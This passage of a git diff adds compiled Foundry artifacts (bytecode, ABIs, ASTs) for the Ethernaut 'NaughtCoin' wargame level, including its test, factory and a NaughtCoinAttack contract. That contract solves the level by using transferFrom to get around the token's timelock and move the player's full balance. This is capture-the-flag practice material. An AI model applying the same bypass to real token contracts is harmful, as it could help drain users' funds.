(bool)"}},"id":62975,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1919:63:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":62976,"nodeType":"ExpressionStatement","src":"1919:63:140"},{"expression":{"arguments":[{"arguments":[{"id":62982,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62819,"src":"2016:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}],"id":62981,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2008:7:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62980,"name":"address","nodeType":"ElementaryTypeName","src":"2008:7:140","typeDescriptions":{}}},"id":62983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2008:17:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":62984,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"2027:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62977,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62958,"src":"1992:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}},"id":62979,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2001:6:140","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49657,"src":"1992:15:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":62985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1992:42:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62986,"nodeType":"ExpressionStatement","src":"1992:42:140"},{"expression":{"arguments":[{"arguments":[{"id":62989,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62816,"src":"2076:9:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62992,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62819,"src":"2095:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}],"id":62991,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2087:7:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62990,"name":"address","nodeType":"ElementaryTypeName","src":"2087:7:140","typeDescriptions":{}}},"id":62993,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2087:17:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62988,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2056:19:140","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2056:49:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62987,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2045:10:140","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2045:61:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62996,"nodeType":"ExpressionStatement","src":"2045:61:140"}]},"documentation":{"id":62947,"nodeType":"StructuredDocumentation","src":"1740:44:140","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1798:9:140","parameters":{"id":62948,"nodeType":"ParameterList","parameters":[],"src":"1807:2:140"},"returnParameters":{"id":62949,"nodeType":"ParameterList","parameters":[],"src":"1817:0:140"},"scope":62999,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":62810,"name":"Test","nameLocations":["442:4:140"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"442:4:140"},"id":62811,"nodeType":"InheritanceSpecifier","src":"442:4:140"},{"baseName":{"id":62812,"name":"Utils","nameLocations":["448:5:140"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"448:5:140"},"id":62813,"nodeType":"InheritanceSpecifier","src":"448:5:140"}],"canonicalName":"TestNaughtCoin","contractDependencies":[49101,49658,53962,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62999,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestNaughtCoin","nameLocation":"424:14:140","scope":63000,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":140} \ No newline at end of file diff --git a/contracts/out/NaughtCoinAttack.sol/NaughtCoinAttack.json b/contracts/out/NaughtCoinAttack.sol/NaughtCoinAttack.json new file mode 100644 index 000000000..fb9179cf5 --- /dev/null +++ b/contracts/out/NaughtCoinAttack.sol/NaughtCoinAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_target","type":"address","internalType":"address"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5061024b8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046101a7565b610042565b005b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301528391908216906323b872dd908490309084906370a0823190602401602060405180830381865afa1580156100bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100df91906101d8565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610155573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017991906101ef565b50505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146101a2575f80fd5b919050565b5f80604083850312156101b8575f80fd5b6101c18361017f565b91506101cf6020840161017f565b90509250929050565b5f602082840312156101e8575f80fd5b5051919050565b5f602082840312156101ff575f80fd5b8151801515811461020e575f80fd5b939250505056fea26469706673582212203951def7dc6c1c1f79e0986718b57ac895cefc1cd969e3cf3f2ea20edbeba87f64736f6c63430008180033","sourceMap":"94:239:53:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046101a7565b610042565b005b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301528391908216906323b872dd908490309084906370a0823190602401602060405180830381865afa1580156100bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100df91906101d8565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610155573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017991906101ef565b50505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146101a2575f80fd5b919050565b5f80604083850312156101b8575f80fd5b6101c18361017f565b91506101cf6020840161017f565b90509250929050565b5f602082840312156101e8575f80fd5b5051919050565b5f602082840312156101ff575f80fd5b8151801515811461020e575f80fd5b939250505056fea26469706673582212203951def7dc6c1c1f79e0986718b57ac895cefc1cd969e3cf3f2ea20edbeba87f64736f6c63430008180033","sourceMap":"94:239:53:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;126:205;;;;;;:::i;:::-;;:::i;:::-;;;294:29;;;;;246:23;644:55:155;;;294:29:53;;;626:74:155;228:7:53;;246:23;;;;;;270:7;;287:4;;246:23;;294:20;;599:18:155;;294:29:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;246:78;;;;;;;;;;1112:42:155;1181:15;;;246:78:53;;;1163:34:155;1233:15;;;;1213:18;;;1206:43;1265:18;;;1258:34;1075:18;;246:78:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;183:148;126:205;;:::o;14:196:155:-;82:20;;142:42;131:54;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:260::-;283:6;291;344:2;332:9;323:7;319:23;315:32;312:52;;;360:1;357;350:12;312:52;383:29;402:9;383:29;:::i;:::-;373:39;;431:38;465:2;454:9;450:18;431:38;:::i;:::-;421:48;;215:260;;;;;:::o;711:184::-;781:6;834:2;822:9;813:7;809:23;805:32;802:52;;;850:1;847;840:12;802:52;-1:-1:-1;873:16:155;;711:184;-1:-1:-1;711:184:155:o;1303:277::-;1370:6;1423:2;1411:9;1402:7;1398:23;1394:32;1391:52;;;1439:1;1436;1429:12;1391:52;1471:9;1465:16;1524:5;1517:13;1510:21;1503:5;1500:32;1490:60;;1546:1;1543;1536:12;1490:60;1569:5;1303:277;-1:-1:-1;;;1303:277:155:o","linkReferences":{}},"methodIdentifiers":{"attack(address,address)":"3c48664c"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_target\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/NaughtCoinAttack.sol\":\"NaughtCoinAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/attacks/NaughtCoinAttack.sol\":{\"keccak256\":\"0xc7c50ac61758a1cc99a1970041c3a2ccea431922d1cff9a531b1f30164d9e858\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91df97d125661f7d357e1cf072cc3da06a66eed883a8b665592cb12bd6af03b2\",\"dweb:/ipfs/QmSX6A4hbNoiQDQ7jv7cWkFSMW9auMhXPAbu2GyEUFfdQo\"]},\"src/levels/NaughtCoin.sol\":{\"keccak256\":\"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862\",\"dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_target","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"attack"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/NaughtCoinAttack.sol":"NaughtCoinAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/attacks/NaughtCoinAttack.sol":{"keccak256":"0xc7c50ac61758a1cc99a1970041c3a2ccea431922d1cff9a531b1f30164d9e858","urls":["bzz-raw://91df97d125661f7d357e1cf072cc3da06a66eed883a8b665592cb12bd6af03b2","dweb:/ipfs/QmSX6A4hbNoiQDQ7jv7cWkFSMW9auMhXPAbu2GyEUFfdQo"],"license":"MIT"},"src/levels/NaughtCoin.sol":{"keccak256":"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6","urls":["bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862","dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/NaughtCoinAttack.sol","id":49659,"exportedSymbols":{"Context":[48281],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"NaughtCoin":[53912],"NaughtCoinAttack":[49658]},"nodeType":"SourceUnit","src":"33:301:53","nodes":[{"id":49627,"nodeType":"PragmaDirective","src":"33:23:53","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49628,"nodeType":"ImportDirective","src":"58:34:53","nodes":[],"absolutePath":"src/levels/NaughtCoin.sol","file":"../levels/NaughtCoin.sol","nameLocation":"-1:-1:-1","scope":49659,"sourceUnit":53913,"symbolAliases":[],"unitAlias":""},{"id":49658,"nodeType":"ContractDefinition","src":"94:239:53","nodes":[{"id":49657,"nodeType":"FunctionDefinition","src":"126:205:53","nodes":[],"body":{"id":49656,"nodeType":"Block","src":"183:148:53","nodes":[],"statements":[{"assignments":[49637],"declarations":[{"constant":false,"id":49637,"mutability":"mutable","name":"naughtCoin","nameLocation":"204:10:53","nodeType":"VariableDeclaration","scope":49656,"src":"193:21:53","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"},"typeName":{"id":49636,"nodeType":"UserDefinedTypeName","pathNode":{"id":49635,"name":"NaughtCoin","nameLocations":["193:10:53"],"nodeType":"IdentifierPath","referencedDeclaration":53912,"src":"193:10:53"},"referencedDeclaration":53912,"src":"193:10:53","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"visibility":"internal"}],"id":49641,"initialValue":{"arguments":[{"id":49639,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49630,"src":"228:7:53","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49638,"name":"NaughtCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53912,"src":"217:10:53","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_NaughtCoin_$53912_$","typeString":"type(contract NaughtCoin)"}},"id":49640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"217:19:53","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"nodeType":"VariableDeclarationStatement","src":"193:43:53"},{"expression":{"arguments":[{"id":49645,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49632,"src":"270:7:53","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49648,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"287:4:53","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}],"id":49647,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"279:7:53","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49646,"name":"address","nodeType":"ElementaryTypeName","src":"279:7:53","typeDescriptions":{}}},"id":49649,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"279:13:53","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49652,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49632,"src":"315:7:53","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49650,"name":"naughtCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49637,"src":"294:10:53","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"id":49651,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"305:9:53","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47374,"src":"294:20:53","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":49653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"294:29:53","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":49642,"name":"naughtCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49637,"src":"246:10:53","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"id":49644,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"257:12:53","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47475,"src":"246:23:53","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":49654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"246:78:53","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49655,"nodeType":"ExpressionStatement","src":"246:78:53"}]},"functionSelector":"3c48664c","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"135:6:53","parameters":{"id":49633,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49630,"mutability":"mutable","name":"_target","nameLocation":"150:7:53","nodeType":"VariableDeclaration","scope":49657,"src":"142:15:53","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49629,"name":"address","nodeType":"ElementaryTypeName","src":"142:7:53","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49632,"mutability":"mutable","name":"_player","nameLocation":"167:7:53","nodeType":"VariableDeclaration","scope":49657,"src":"159:15:53","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49631,"name":"address","nodeType":"ElementaryTypeName","src":"159:7:53","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"141:34:53"},"returnParameters":{"id":49634,"nodeType":"ParameterList","parameters":[],"src":"183:0:53"},"scope":49658,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"NaughtCoinAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49658],"name":"NaughtCoinAttack","nameLocation":"103:16:53","scope":49659,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":53} \ No newline at end of file diff --git a/contracts/out/NaughtCoinFactory.sol/NaughtCoinFactory.json b/contracts/out/NaughtCoinFactory.sol/NaughtCoinFactory.json new file mode 100644 index 000000000..af4f416c9 --- /dev/null +++ b/contracts/out/NaughtCoinFactory.sol/NaughtCoinFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6113668061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200038f565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec366004620003b4565b6200017f565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200038f565b62000210565b62000131620002aa565b6200013c5f62000305565b565b5f816040516200014e906200036c565b6001600160a01b039091168152602001604051809103905ff08015801562000178573d5f803e3d5ffd5b5092915050565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b0382811660048301525f9184918216906370a0823190602401602060405180830381865afa158015620001e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002079190620003f0565b15949350505050565b6200021a620002aa565b6001600160a01b0381166200029c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620002a78162000305565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000293565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610f28806200040983390190565b6001600160a01b0381168114620002a7575f80fd5b5f60208284031215620003a0575f80fd5b8135620003ad816200037a565b9392505050565b5f8060408385031215620003c6575f80fd5b8235620003d3816200037a565b91506020830135620003e5816200037a565b809150509250929050565b5f6020828403121562000401575f80fd5b505191905056fe608060405262000014426312cc030062000232565b60055534801562000023575f80fd5b5060405162000f2838038062000f2883398101604081905262000046916200024e565b6040518060400160405280600a8152602001692730bab3b43a21b7b4b760b11b8152506040518060400160405280600381526020016203078360ec1b81525081600390816200009691906200031a565b506004620000a582826200031a565b50506